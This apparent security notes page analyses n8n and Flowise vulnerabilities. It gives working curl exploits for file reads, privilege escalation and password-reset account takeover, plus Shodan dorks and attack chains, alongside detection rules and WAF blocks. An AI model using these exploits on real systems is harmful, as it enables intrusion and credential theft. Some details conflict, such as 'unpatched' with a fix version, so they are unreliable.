Attack Surface Analysis

TL;DR

Working exploits exist, attack surface is growing, and with AI accelerating exploit development, the window between disclosure and active campaigns is collapsing. The tools securing our AI workflows need securing themselves.

n8n: Patched auth bypass + directory traversal chain (2023), low wild exploitation
Flowwise: CRITICAL unpatched account takeover (CVE-2025-58434, 9.8), trivial to exploit
Neither in CISA KEV yet, but both have public PoCs
Shodan dorks available, attack surface is significant

**Key Takeaways

Workflow automation tools = massive attack surface: Single compromise → access to ALL integrated systems
Authentication bypasses + file reads = critical chains: n8n demonstrates perfect chain
Flowwise CVE-2025-58434 is actively exploitable RIGHT NOW with no patch
AI/LLM tools moving fast, security lagging: Expect more Langflow-style incidents
Defense in depth essential: Don’t rely on application security alone

n8n - Workflow Automation Platform

Vulnerability Chain (CVE-2023-27562 + CVE-2023-27564)

Versions: ≤ 0.215.2 | Patched: 0.216.1 | CVSS: 6.5

Attack Flow

1. Auth Bypass: Append ".svg" to any /api/v1/* endpoint
2. Directory Traversal: /rest/data/filesystem:../../etc/passwd:.svg
3. Result: Unauthenticated arbitrary file read

Critical Targets

database.sqlite - SQLite deployments expose:
- Bcrypt password hashes
- Encryption keys (in plaintext)
- Workflow credentials
- API tokens

Exploitation Examples

# Unauthenticated file read
curl -k 'https://target.com/rest/data/filesystem:..%2F..%2F..%2F..%2Fetc%2Fpasswd:.svg'
 
# Extract encryption key
curl -k 'https://target.com/rest/credential-translation?credentialType=../../../../../config/encryption.key'
 
# Dump SQLite database
curl -k 'https://target.com/rest/data/filesystem:..%2F..%2F.n8n%2Fdatabase.sqlite:.svg'

CVE-2023-27563 - Mass Assignment (CVSS 6.5)

Authenticated users can modify their own or other users’ attributes via /rest/me endpoint, enabling privilege escalation to owner role and password changes for any account.

# Privilege escalation
curl -X PATCH 'https://target.com/rest/me' \
  -H 'Content-Type: application/json' \
  -b 'n8n-auth=<token>' \
  --data '{"globalRole":{"id":1}}'
 
# Steal admin JWT
curl -X PATCH 'https://target.com/rest/me' \
  -b 'n8n-auth=<low_priv_token>' \
  --data '{"id":"<admin_uuid>","email":"admin@target.com"}'
# Response Set-Cookie contains admin JWT

Detection Indicators

# Web logs
- URI contains: "filesystem:" followed by "../"
- URI contains: ".svg" on /api/v1/* endpoints
- URI: /rest/credential-translation with "../" in credentialType param
- Unexpected PATCH requests to /rest/me with role modifications
 
# Network
- Unusual file extensions in /rest/data/ requests
- Multiple failed auth followed by .svg bypass attempts

Shodan Dork

http.title:"n8n" http.favicon.hash:-2051052918

Flowwise - LLM Workflow Builder

CVE-2025-58434 - Password Reset Token Disclosure

Versions: < 3.0.5 | Status: UNPATCHED | CVSS: 9.8 (CRITICAL)

Attack Vector

The /api/v1/account/forgot-password endpoint returns the password reset token directly in the API response instead of sending it via email, enabling immediate account takeover.

Exploitation (2 HTTP Requests)

# Step 1: Request reset token
curl -X POST 'https://target.flowiseai.com/api/v1/account/forgot-password' \
  -H 'Content-Type: application/json' \
  -d '{"email":"victim@company.com"}'
 
# Response contains:
{
  "userId": "...",
  "email": "victim@company.com",
  "tempToken": "abc123...",  # ← LEAKED
  "tokenExpiry": "..."
}
 
# Step 2: Reset password
curl -X POST 'https://target.flowiseai.com/api/v1/account/reset-password' \
  -H 'Content-Type: application/json' \
  -d '{"token":"abc123...","password":"pwned123"}'

Impact

No authentication required
No user interaction required
Only need target email (OSINT/enumeration)
Affects cloud AND self-hosted instances
Admin accounts equally vulnerable

CVE-2024-31621 - Case-Sensitive Auth Bypass

Versions: ≤ 1.6.5 | Patched: > 1.6.5 | CVSS: 7.6

Authentication middleware only checks for lowercase ‘/api/v1’ in URLs, allowing bypass by using uppercase variations.

# Bypass authentication
curl 'https://target.com/Api/v1/credentials'
curl 'https://target.com/API/V1/credentials'
curl 'https://target.com/api/V1/workflows'

CVE-2025-26319 - Arbitrary File Upload

Versions: ≤ 2.2.6 | CVSS: 10.0

Perfect severity score - allows unrestricted file upload leading to RCE.

Detection Indicators

# High-confidence IOCs
- POST /api/v1/account/forgot-password with enumeration patterns
- Rapid password resets across multiple accounts
- Mixed-case /API/V1/* requests
- Login from new IPs immediately after password reset
 
# Response anomalies
- forgot-password responses > 1KB (leaking tokens)
- Set-Cookie headers on forgot-password endpoints

Shodan Dork

http.title:"Flowise" OR http.title:"FlowiseAI"
http.favicon.hash:-2051052918  # Same as old Flowwise versions

Reconnaissance & Enumeration

Identifying Vulnerable Instances

# n8n version disclosure
curl -s https://target.com/api/v1/config | jq -r '.version'
 
# Flowwise version
curl -s https://target.com/api/v1/version
 
# Check auth bypass (n8n)
curl -s https://target.com/rest/data/filesystem:test:.svg
# 404 = vulnerable, 401/403 = patched or mitigated
 
# Check password reset leak (Flowwise)
curl -X POST https://target.com/api/v1/account/forgot-password \
  -H 'Content-Type: application/json' \
  -d '{"email":"nonexistent@test.com"}' | jq .
# Contains tempToken = CRITICAL

User Enumeration

# n8n - timing attack on /rest/login
# Flowwise - forgot-password responses differ for valid/invalid users

Attack Chains

n8n: Initial Access → Domain Admin

Recon: Shodan → identify exposed n8n instances
Version Check: Confirm ≤ 0.215.2
File Exfil: Extract database.sqlite via auth bypass
Credential Extraction:
- Crack bcrypt hashes offline
- Extract encryption keys
- Decrypt stored credentials (AWS, GitHub, DB creds)
Lateral Movement: Use extracted creds to access production systems
Persistence: Create backdoor workflows, modify webhooks

Flowwise: Account Takeover → Data Exfiltration

Recon: Identify Flowwise instance < 3.0.5
Email Enumeration: OSINT target emails (LinkedIn, etc.)
Token Leak: Request password reset for admin account
Account Takeover: Use leaked token to reset password
Data Access: Access all AI workflows, prompts, API keys
Supply Chain: Inject malicious AI workflows for downstream attacks

Blue Team: Defense & Detection

Immediate Actions

# n8n
- Upgrade to ≥ 0.216.1 immediately
- Rotate all encryption keys
- Force password resets if < 0.216.1 was ever deployed
- Audit workflow permissions
 
# Flowwise
- URGENT: Disable /api/v1/account/forgot-password via WAF/reverse proxy
- Monitor for exploitation attempts (see IOCs above)
- Implement rate limiting on password reset endpoints
- Deploy MFA on all accounts
- Upgrade to 3.0.5+ when available

WAF/Proxy Rules

# Block n8n auth bypass attempts
location ~ /rest/data/filesystem:.*\.svg {
    deny all;
}
 
location ~ /rest/credential-translation {
    if ($args ~* "\.\./") {
        return 403;
    }
}
 
# Block Flowwise password reset endpoint (temporary)
location = /api/v1/account/forgot-password {
    deny all;
    # Return 503 with maintenance message
}

SIEM Detection Rules

-- n8n exploitation attempts
SELECT * FROM web_logs 
WHERE (uri LIKE '%filesystem:%' AND uri LIKE '%../%')
   OR (uri LIKE '%/rest/credential-translation%' AND uri LIKE '%../%')
   OR (uri LIKE '%/api/v1/%' AND uri REGEXP '.*svg$')
 
-- Flowwise mass exploitation
SELECT COUNT(*) as reset_count, source_ip 
FROM web_logs 
WHERE uri = '/api/v1/account/forgot-password' 
  AND method = 'POST'
GROUP BY source_ip 
HAVING reset_count > 5 
  AND timeframe < 60  -- within 60 seconds

Exploitation Status: Why Not in CISA KEV?

In 2024-2025, only ~1% of published CVEs are exploited in the wild, with 23.6% weaponized within 24 hours of disclosure. KEV addition requires confirmed exploitation evidence from trusted sources.

Likely reasons:

Limited attack surface (niche enterprise tools)
Require authentication context (n8n)
Flowwise CVE-2025-58434 too recent (disclosed weeks ago)
No public campaigns attributed yet

Reality check: With AI-assisted exploit development generating working PoCs in under 15 minutes, the gap between disclosure and active exploitation is shrinking rapidly.

LLM Workflow Tools Trend

Similar exploitation: Langflow CVE-2025-3248 (RCE) actively exploited to deliver Flodrix botnet. CISA added to KEV catalog May 2025. Same attack pattern: unauthenticated API → RCE → botnet deployment.

Pattern: AI/LLM workflow tools prioritize functionality over security → late-stage security audits → critical vulns in production

Resources & References

Nuclei Templates

nuclei -u https://target.com -t cves/2024/CVE-2024-31621.yaml

GitHub PoCs

CVE-2024-31621: exploit-db.com/exploits/52001
CVE-2023-27562/27564: Synacktiv advisory (full technical details)

Vendor Security

n8n: github.com/n8n-io/n8n/security/advisories
Flowwise: github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph

**Key Takeaways

Workflow automation tools = massive attack surface: Single compromise → access to ALL integrated systems
Authentication bypasses + file reads = critical chains: n8n demonstrates perfect chain
Flowwise CVE-2025-58434 is actively exploitable RIGHT NOW with no patch
AI/LLM tools moving fast, security lagging: Expect more Langflow-style incidents
Defense in depth essential: Don’t rely on application security alone

Action Items:

Scan your network for these platforms TODAY
Update n8n immediately
If running Flowwise < 3.0.5, isolate or disable until patched
Implement monitoring for exploitation indicators

Quartz 4

Explorer

Attack Surface Analysis

TL;DR

**Key Takeaways

n8n - Workflow Automation Platform

Vulnerability Chain (CVE-2023-27562 + CVE-2023-27564)

Attack Flow

Critical Targets

Exploitation Examples

CVE-2023-27563 - Mass Assignment (CVSS 6.5)

Detection Indicators

Shodan Dork

Flowwise - LLM Workflow Builder

CVE-2025-58434 - Password Reset Token Disclosure

Attack Vector

Exploitation (2 HTTP Requests)

Impact

CVE-2024-31621 - Case-Sensitive Auth Bypass

CVE-2025-26319 - Arbitrary File Upload

Detection Indicators

Shodan Dork

Reconnaissance & Enumeration

Identifying Vulnerable Instances

User Enumeration

Attack Chains

n8n: Initial Access → Domain Admin

Flowwise: Account Takeover → Data Exfiltration

Blue Team: Defense & Detection

Immediate Actions

WAF/Proxy Rules

SIEM Detection Rules

Exploitation Status: Why Not in CISA KEV?

LLM Workflow Tools Trend

Resources & References

**Key Takeaways

Graph View

Table of Contents

Backlinks

Quartz 4

Explorer

Attack Surface Analysis

TL;DR

**Key Takeaways

n8n - Workflow Automation Platform

Vulnerability Chain (CVE-2023-27562 + CVE-2023-27564)

Attack Flow

Critical Targets

Exploitation Examples

CVE-2023-27563 - Mass Assignment (CVSS 6.5)

Detection Indicators

Shodan Dork

Flowwise - LLM Workflow Builder

CVE-2025-58434 - Password Reset Token Disclosure

Attack Vector

Exploitation (2 HTTP Requests)

Impact

CVE-2024-31621 - Case-Sensitive Auth Bypass

CVE-2025-26319 - Arbitrary File Upload

Detection Indicators

Shodan Dork

Reconnaissance & Enumeration

Identifying Vulnerable Instances

User Enumeration

Attack Chains

n8n: Initial Access → Domain Admin

Flowwise: Account Takeover → Data Exfiltration

Blue Team: Defense & Detection

Immediate Actions

WAF/Proxy Rules

SIEM Detection Rules

Exploitation Status: Why Not in CISA KEV?

Related Attack Vectors

LLM Workflow Tools Trend

Resources & References

**Key Takeaways

Graph View

Table of Contents

Backlinks